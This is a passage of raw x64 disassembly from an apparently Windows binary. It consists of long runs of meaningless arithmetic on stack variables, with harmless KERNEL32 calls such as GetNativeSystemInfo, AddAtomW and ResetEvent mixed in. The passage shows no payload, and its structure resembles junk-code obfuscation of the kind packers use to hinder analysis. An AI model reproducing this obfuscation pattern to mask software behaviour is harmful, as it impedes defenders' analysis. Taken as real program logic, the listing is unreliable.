movsx ecx, word [rsp + 0xcec]
sub eax, ecx
mov rcx, qword [rsp + 0x4b38]
mov word [rcx], ax
mov r9d, 0xcc0
xor r8d, r8d
lea rdx, [rsp + 0x48c8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x2090], eax
movzx eax, word [rsp + 0xcc4]
mov rcx, qword [rsp + 0x4320]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14018acfc], ax
mov rax, qword [rsp + 0x3428]
mov qword [rsp + 0x4b98], rax
mov rax, qword [rsp + 0x43e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa80]
add eax, ecx
mov word [rsp + 0xd34], ax
mov rax, qword [rsp + 0x40d0]
movzx eax, word [rax]
mov word [rsp + 0xd44], ax
mov rax, qword [rsp + 0x2b60]
mov rcx, qword [rsp + 0x42d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4218]
mov qword [rcx], rax
mov eax, dword [0x14018ad0c]
mov ecx, dword [rsp + 0x1f7c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b14], eax
movsx eax, byte [rsp + 0x175]
mov rcx, qword [rsp + 0x44b8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x40e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b10]
mov rcx, qword [rsp + 0x3670]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3ed8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc94]
mov word [rsp + 0xd48], ax
lea rax, [rsp + 0x3390]
mov qword [0x14018c028], rax
mov rax, qword [rsp + 0x4358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x202c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3e20]
mov dword [rcx], eax
lea rax, [rsp + 0x1ba]
mov qword [rsp + 0x4ba0], rax
movsx eax, word [rsp + 0xcbc]
movsx ecx, word [rsp + 0xc70]
or eax, ecx
mov rcx, qword [rsp + 0x48b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ab8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3ff0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4948]
mov word [rcx], ax
lea rax, [rsp + 0x18d]
mov qword [rsp + 0x4ba8], rax
mov rax, qword [rsp + 0x3ec0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c3c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4a40]
mov dword [rcx], eax
lea rcx, [rsp + 0x15818]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x2b08]
movzx ecx, al
mov rax, qword [rsp + 0x2e28]
shr rax, cl
mov qword [rsp + 0x3930], rax
movsx eax, word [0x14018be7c]
movsx ecx, word [rsp + 0x3b8]
sub eax, ecx
mov word [rsp + 0xca0], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1fa4], eax
movzx eax, word [rsp + 0x3dc]
mov rcx, qword [rsp + 0x4b18]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018be68]
mov word [rcx], ax
mov rax, qword [rsp + 0x3f08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4740]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x45d0]
mov qword [rcx], rax
lea rax, [rsp + 0x2ac8]
mov qword [rsp + 0x4bb0], rax
mov rax, qword [rsp + 0x3e40]
mov rcx, qword [rsp + 0x3630]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4770]
mov qword [rcx], rax
lea rax, [0x14018bdc4]
mov qword [rsp + 0x4bb8], rax
mov rax, qword [rsp + 0x3e30]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1b28]
shr eax, cl
mov dword [rsp + 0x2050], eax
movsx eax, byte [rsp + 0x99]
mov rcx, qword [rsp + 0x46f8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1b8], al
lea rax, [rsp + 0x43d8]
mov qword [rsp + 0x4bc0], rax
mov rax, qword [rsp + 0x4b58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x45f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe7], al
lea rax, [rsp + 0x1f68]
mov qword [rsp + 0x4bc8], rax
mov rax, qword [rsp + 0x40d0]
movzx eax, word [rax]
mov word [0x14018c030], ax
movzx eax, word [rsp + 0xa80]
mov rcx, qword [rsp + 0x4ad8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc94], ax
lea rax, [rsp + 0x3c0]
mov qword [rsp + 0x4bd0], rax
movzx ecx, word [rsp + 0xd18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc74], ax
mov rax, qword [rsp + 0x3cd0]
mov rcx, qword [rsp + 0x4740]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3718], rax
mov rax, qword [0x14018bfa0]
mov ecx, dword [rsp + 0x2050]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
lea rcx, [rsp + 0x15848]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x1b8]
mov qword [rsp + 0x4bd8], rax
mov rax, qword [0x14018bfc8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x38a0]
shl rax, cl
mov qword [rsp + 0x3fc0], rax
lea rax, [rsp + 0xd38]
mov qword [rsp + 0x4be0], rax
movzx eax, word [rsp + 0xd10]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x8f4], ax
mov rax, qword [0x14018c018]
mov rcx, qword [rsp + 0x4770]
mov qword [rsp + 0x4be8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4be8]
mov rax, qword [rax]
sar rax, cl
mov qword [0x14018ad28], rax
mov rax, qword [rsp + 0x4370]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3dc]
add eax, ecx
mov word [rsp + 0xcb8], ax
lea rax, [rsp + 0x3428]
mov qword [rsp + 0x4bf0], rax
mov rax, qword [rsp + 0x2ac8]
mov rcx, qword [rsp + 0x4878]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4300]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1ad]
mov byte [rsp + 0x1bd], al
mov rax, qword [rsp + 0x3f60]
mov rcx, qword [rsp + 0x4540]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4990]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3e20]
mov rcx, qword [rsp + 0x4af0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x40c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x43a0]
movzx eax, byte [rax]
mov byte [rsp + 0x1be], al
mov eax, dword [rsp + 0x203c]
movzx ecx, al
mov eax, dword [rsp + 0x2084]
shr eax, cl
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
mov rax, qword [0x14018beb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3f40]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018beb0]
mov word [rcx], ax
lea rax, [rsp + 0xc84]
mov qword [rsp + 0x4bf8], rax
mov rax, qword [rsp + 0x4b18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4098]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
movzx eax, word [0x14018bea8]
movzx ecx, word [rsp + 0x864]
xor eax, ecx
mov word [rsp + 0x5d4], ax
mov rax, qword [rsp + 0x3eb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c64]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fd8], eax
mov rax, qword [rsp + 0x3e28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x47c0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1b2], al
lea rax, [rsp + 0x3608]
mov qword [rsp + 0x4c00], rax
movsx eax, word [rsp + 0xd04]
mov rcx, qword [rsp + 0x4080]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x40b8]
mov word [rcx], ax
lea rax, [rsp + 0xd10]
mov qword [rsp + 0x4c08], rax
mov rax, qword [0x14018bf30]
mov rcx, qword [rsp + 0x3630]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14018bfe8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x49c0]
mov rcx, qword [rsp + 0x45c0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4648]
mov qword [rcx], rax
mov rax, qword [rsp + 0x45d0]
mov rcx, qword [rsp + 0x2ac8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x42c0]
mov qword [rcx], rax
lea rax, [rsp + 0x2ac8]
mov qword [rsp + 0x4c10], rax
movzx eax, word [rsp + 0x654]
mov rcx, qword [rsp + 0x4b18]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b78]
mov word [rcx], ax
mov rax, qword [rsp + 0x4520]
mov eax, dword [rax]
mov dword [rsp + 0x2094], eax
movzx eax, byte [rsp + 0x1be]
movzx ecx, byte [rsp + 0x1ba]
and eax, ecx
mov byte [rsp + 0x1b4], al
mov rcx, qword [rsp + 0x40a0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x204c], eax
mov rax, qword [rsp + 0x4368]
mov ecx, dword [rsp + 0x2040]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3f48]
mov dword [rcx], eax
lea rax, [rsp + 0x44f8]
mov qword [rsp + 0x4c18], rax
mov rax, qword [rsp + 0x47c0]
movzx eax, byte [rax]
mov byte [0x14018bdc7], al
movsx eax, word [rsp + 0xd30]
mov rcx, qword [rsp + 0x48b0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd40], ax
lea rax, [rsp + 0xc88]
mov qword [rsp + 0x4c20], rax
mov rax, qword [0x14018bf40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
sub eax, ecx
mov rcx, qword [rsp + 0x4320]
mov word [rcx], ax
mov rax, qword [rsp + 0x42c0]
mov rcx, qword [rsp + 0x4b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x42d8], rax
mov rcx, qword [rsp + 0x48c8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x43d8]
mov qword [rsp + 0x4c28], rax
mov rax, qword [rsp + 0x4910]
mov rcx, qword [rsp + 0x4838]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
lea rax, [rsp + 0x1b1]
mov qword [rsp + 0x4c30], rax
mov rcx, qword [rsp + 0x4328]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x4a60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xce8]
xor eax, ecx
mov word [rsp + 0xc88], ax
lea rax, [rsp + 0xbb0]
mov qword [0x14018c038], rax
lea rax, [rsp + 0x3f78]
mov qword [rsp + 0x4c38], rax
mov rax, qword [rsp + 0x4578]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
or eax, ecx
mov rcx, qword [rsp + 0x4500]
mov word [rcx], ax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x154]
shl eax, cl
mov byte [rsp + 0x1ae], al
lea rax, [rsp + 0x2060]
mov qword [rsp + 0x4c40], rax
mov rax, qword [rsp + 0x4c28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x38e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3fc0], rax
mov eax, dword [rsp + 0x1b18]
mov rcx, qword [rsp + 0x4570]
mov qword [rsp + 0x4c48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c48]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1f44], eax
movsx eax, byte [rsp + 0x152]
mov rcx, qword [rsp + 0x46d8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4270]
mov byte [rcx], al
mov rax, qword [rsp + 0x4970]
movsx eax, word [rax]
movsx ecx, word [0x14018c030]
and eax, ecx
mov rcx, qword [rsp + 0x4618]
mov word [rcx], ax
mov rax, qword [rsp + 0x43e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8f4]
add eax, ecx
mov word [0x14018bdc8], ax
lea rax, [rsp + 0x3098]
mov qword [rsp + 0x4c50], rax
mov eax, 0x38
imul rax, rax, 2
lea rcx, [rsp + 0x162d0]
add rcx, rax
mov rax, rcx
add rax, 8
lea rcx, [0x14010e8a0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x4508]
mov rax, qword [rax]
mov rcx, qword [0x14018ad28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4860]
mov qword [rcx], rax
lea rax, [rsp + 0xcdc]
mov qword [rsp + 0x4c58], rax
mov rax, qword [rsp + 0x4c08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3ee0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4ab8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1b9]
movsx ecx, byte [rsp + 0x1a0]
and eax, ecx
mov rcx, qword [rsp + 0x4b48]
mov byte [rcx], al
mov rax, qword [rsp + 0x44f8]
mov qword [rsp + 0x4c60], rax
mov eax, dword [rsp + 0x1c58]
movzx ecx, al
mov eax, dword [rsp + 0x1b18]
shl eax, cl
mov dword [rsp + 0x1b28], eax
lea rax, [0x14018ace0]
mov qword [rsp + 0x4c68], rax
lea rax, [rsp + 0xc70]
mov qword [0x14018c040], rax
mov rax, qword [rsp + 0x4280]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4030]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xad4], ax
mov rax, qword [rsp + 0x4358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1fd0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f10], eax
mov rax, qword [rsp + 0x4810]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4010]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x14a], al
mov rax, qword [0x14018be90]
mov rcx, qword [rsp + 0x3f78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4498]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ae8]
mov eax, dword [rax]
mov dword [rsp + 0x2098], eax
movsx eax, byte [rsp + 0x1ac]
movsx ecx, byte [rsp + 0x152]
and eax, ecx
mov rcx, qword [rsp + 0x46f8]
mov byte [rcx], al
lea rax, [rsp + 0x4440]
mov qword [rsp + 0x4c70], rax
movsx eax, word [rsp + 0xce4]
movsx ecx, word [rsp + 0x69c]
sar eax, cl
mov rcx, qword [rsp + 0x4158]
mov word [rcx], ax
mov rax, qword [rsp + 0x4818]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3dc]
sub eax, ecx
mov rcx, qword [0x14018c038]
mov word [rcx], ax
mov rax, qword [0x14018bf68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3880]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f50]
mov qword [rcx], rax
movzx eax, word [rsp + 0xd10]
mov word [rsp + 0xd4c], ax
mov rax, qword [rsp + 0x4848]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4980]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc64], ax
lea rax, [rsp + 0x44d8]
mov qword [rsp + 0x4c78], rax
mov rax, qword [rsp + 0x3fc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4750]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4088]
mov byte [rcx], al
mov eax, dword [rsp + 0x1fd8]
movzx ecx, al
mov eax, dword [rsp + 0x1f90]
shr eax, cl
mov rcx, qword [rsp + 0x4ae0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4858]
mov rax, qword [rax]
mov rcx, qword [0x14018bfc8]
mov qword [rsp + 0x4c80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c80]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x3640], rax
movzx eax, word [rsp + 0x558]
movzx ecx, word [rsp + 0xccc]
or eax, ecx
mov rcx, qword [rsp + 0x4018]
mov word [rcx], ax
mov rax, qword [0x14018be30]
mov rcx, qword [rsp + 0x4878]
xor rcx, rax
mov rax, rcx
mov rcx, qword [0x14018bf68]
mov qword [rcx], rax
lea rax, [rsp + 0x165]
mov qword [rsp + 0x4c88], rax
mov eax, dword [rsp + 0x1fd0]
mov ecx, dword [rsp + 0x2060]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2094], eax
mov rax, qword [rsp + 0x4348]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd0c]
add eax, ecx
mov rcx, qword [rsp + 0x49f8]
mov word [rcx], ax
lea rax, [rsp + 0x654]
mov qword [rsp + 0x4c90], rax
mov rax, qword [rsp + 0x47a8]
mov rcx, qword [rsp + 0x3e30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4838]
mov dword [rcx], eax
lea rax, [rsp + 0x2fa8]
mov qword [rsp + 0x4c98], rax
mov rax, qword [0x14018c020]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4338]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4168]
mov byte [rcx], al
lea rax, [rsp + 0xc88]
mov qword [rsp + 0x4ca0], rax
movzx eax, word [rsp + 0xc34]
movzx ecx, word [rsp + 0x654]
and eax, ecx
mov word [0x14018ad30], ax
mov rax, qword [rsp + 0x4218]
mov rcx, qword [rsp + 0x3038]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2fc0], rax
mov rax, qword [rsp + 0x49a0]
mov rcx, qword [rsp + 0x4108]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x49a0]
mov qword [rcx], rax
lea rax, [rsp + 0x3080]
mov qword [rsp + 0x4ca8], rax
mov rax, qword [rsp + 0x4710]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4828]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xcc0], ax
lea rax, [rsp + 0x3d08]
mov qword [rsp + 0x4cb0], rax
mov rax, qword [rsp + 0x3eb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1fd8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x18d]
mov rcx, qword [rsp + 0x40e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x49e0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1b6]
mov byte [rsp + 0x1bf], al
mov rax, qword [rsp + 0x41f0]
mov ecx, dword [rsp + 0x2060]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1f68], eax
movsx eax, word [rsp + 0xd40]
movsx ecx, word [rsp + 0xd30]
xor eax, ecx
mov rcx, qword [0x14018be88]
mov word [rcx], ax
mov rax, qword [rsp + 0x43b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4728]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xbdc], ax
mov rax, qword [rsp + 0x3ff0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x618]
sar eax, cl
mov word [rsp + 0xbb0], ax
mov rax, qword [rsp + 0x4a68]
mov rcx, qword [rsp + 0x3718]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4550], rax
lea rax, [rsp + 0x2b88]
mov qword [rsp + 0x4cb8], rax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4750]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x47d0]
mov byte [rcx], al
lea rax, [rsp + 0x1ec4]
mov qword [rsp + 0x4cc0], rax
movsx eax, word [rsp + 0xd38]
mov rcx, qword [rsp + 0x3f18]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd14], ax
lea rcx, str.WA06V4w.uqTWoRH
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xd50], ax
mov rax, qword [rsp + 0x43b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xab4]
sar eax, cl
mov rcx, qword [rsp + 0x43b0]
mov word [rcx], ax
lea rax, [rsp + 0x4360]
mov qword [0x14018c048], rax
mov rax, qword [rsp + 0x4668]
movzx eax, word [rax]
mov word [rsp + 0xd54], ax
mov rax, qword [0x14018bed0]
mov rcx, qword [rsp + 0x2ec0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4a10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x40b0]
mov qword [rsp + 0x4cc8], rax
mov rcx, qword [rsp + 0x40a0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x1bb]
movsx ecx, byte [rsp + 0x1a0]
sub eax, ecx
mov rcx, qword [rsp + 0x4bd8]
mov byte [rcx], al
lea rax, [0x14018be48]
mov qword [rsp + 0x4cd0], rax
mov eax, dword [rsp + 0x1fc0]
mov ecx, dword [rsp + 0x208c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2070], eax
mov rax, qword [rsp + 0x4308]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b3]
and eax, ecx
mov rcx, qword [rsp + 0x43f0]
mov byte [rcx], al
lea rax, [rsp + 0x2088]
mov qword [rsp + 0x4cd8], rax
movsx eax, word [rsp + 0xc98]
movsx ecx, word [rsp + 0x3f8]
or eax, ecx
mov rcx, qword [0x14018be20]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd2c]
xor eax, ecx
mov rcx, qword [rsp + 0x4538]
mov word [rcx], ax
mov rax, qword [rsp + 0x4018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc94]
shl eax, cl
mov word [rsp + 0x3d8], ax
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x4098]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x544], ax
mov eax, dword [rsp + 0x1f90]
mov ecx, dword [rsp + 0x1f44]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
lea rax, [rsp + 0x3d08]
mov qword [rsp + 0x4ce0], rax
mov rax, qword [rsp + 0x4388]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1bc]
add eax, ecx
mov rcx, qword [rsp + 0x41a8]
mov byte [rcx], al
lea rax, [0x14018bf08]
mov qword [rsp + 0x4ce8], rax
movzx eax, word [rsp + 0xcd8]
movzx ecx, word [rsp + 0xcd4]
and eax, ecx
mov word [rsp + 0xd48], ax
lea rax, [rsp + 0x3f78]
mov qword [0x14018c050], rax
mov rax, qword [0x14018bf30]
mov rcx, qword [rsp + 0x3eb8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3428], rax
lea rax, [rsp + 0x4878]
mov qword [rsp + 0x4cf0], rax
mov rax, qword [rsp + 0x4610]
mov rcx, qword [rsp + 0x3b60]
mov qword [rsp + 0x4cf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4cf8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x49c0]
mov qword [rcx], rax
lea rax, [rsp + 0xad4]
mov qword [rsp + 0x4d00], rax
movzx eax, byte [rsp + 0x1b4]
imul eax, eax, 0x47
mov byte [rsp + 0xe7], al
lea rax, [rsp + 0x1fc0]
mov qword [rsp + 0x4d08], rax
mov rax, qword [0x14018bfc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3930]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x44f8], rax
mov eax, dword [rsp + 0x1f90]
mov ecx, dword [rsp + 0x2074]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1c64], eax
mov rax, qword [rsp + 0x4870]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x49e0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x14018acd9], al
lea rax, [rsp + 0xd38]
mov qword [rsp + 0x4d10], rax
mov rax, qword [rsp + 0x4848]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4b20]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1fb0], eax
lea rax, [rsp + 0x618]
mov qword [rsp + 0x4d18], rax
mov rax, qword [rsp + 0x4068]
mov rax, qword [rax]
mov rcx, qword [0x14018c018]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3280], rax
mov eax, dword [rsp + 0x1f90]
movzx ecx, al
mov eax, dword [rsp + 0x1bac]
shl eax, cl
mov dword [rsp + 0x2050], eax
lea rax, [rsp + 0x167]
mov qword [rsp + 0x4d20], rax
mov rax, qword [rsp + 0x3ed8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c00]
mov qword [rsp + 0x4d28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d28]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x3d08], rax
lea rax, [rsp + 0xc84]
mov qword [rsp + 0x4d30], rax
lea rax, [rsp + 0xc78]
mov qword [0x14018c058], rax
mov rax, qword [rsp + 0x3de8]
mov rcx, qword [rsp + 0x2d90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ac8], rax
mov rax, qword [rsp + 0x4bd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x49b8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4220]
mov word [rcx], ax
lea rax, [rsp + 0x1f8c]
mov qword [rsp + 0x4d38], rax
movzx eax, byte [rsp + 0x1b6]
mov rcx, qword [rsp + 0x43f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x45f8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x3ef0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x99]
mov qword [rsp + 0x4d40], rax
mov rax, qword [rsp + 0x40a8]
mov ecx, dword [rsp + 0x1fe4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2068], eax
mov rax, qword [rsp + 0x3b88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3608]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d60], rax
lea rax, [rsp + 0xc68]
mov qword [rsp + 0x4d48], rax
lea rax, [rsp + 0xcb0]
mov qword [0x14018c060], rax
mov rax, qword [rsp + 0x42d8]
movzx ecx, al
mov rax, qword [rsp + 0x4550]
sar rax, cl
mov qword [rsp + 0x3080], rax
lea rax, [rsp + 0x33f8]
mov qword [rsp + 0x4d50], rax
movsx eax, word [rsp + 0xcac]
mov rcx, qword [rsp + 0x4b50]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc90], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1fb0], eax
lea rax, [rsp + 0xab4]
mov qword [rsp + 0x4d58], rax
mov rax, qword [0x14018bee0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ab]
sub eax, ecx
mov rcx, qword [rsp + 0x48d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4a70]
mov rcx, qword [rsp + 0x4ab0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x44f8], rax
mov eax, dword [rsp + 0x1f90]
mov dword [rsp + 0x209c], eax
mov rax, qword [rsp + 0x2e58]
mov rcx, qword [rsp + 0x2ec0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4958]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4058]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x43c0]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14018bf08], ax
lea rax, [0x14018bdc8]
mov qword [rsp + 0x4d60], rax
mov eax, dword [rsp + 0x208c]
mov ecx, dword [rsp + 0x2070]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x47a0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x14a]
mov rcx, qword [rsp + 0x4180]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3f10]
mov byte [rcx], al
mov rax, qword [rsp + 0x37e8]
movzx ecx, al
mov rax, qword [0x14018ace8]
sar rax, cl
mov qword [rsp + 0x3368], rax
mov rax, qword [rsp + 0x4468]
mov ecx, dword [rsp + 0x1b18]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x46e8]
mov qword [rsp + 0x4d68], rax
movsx eax, byte [rsp + 0x18d]
mov rcx, qword [rsp + 0x44a0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x175], al
mov rax, qword [rsp + 0x4248]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x43c0]
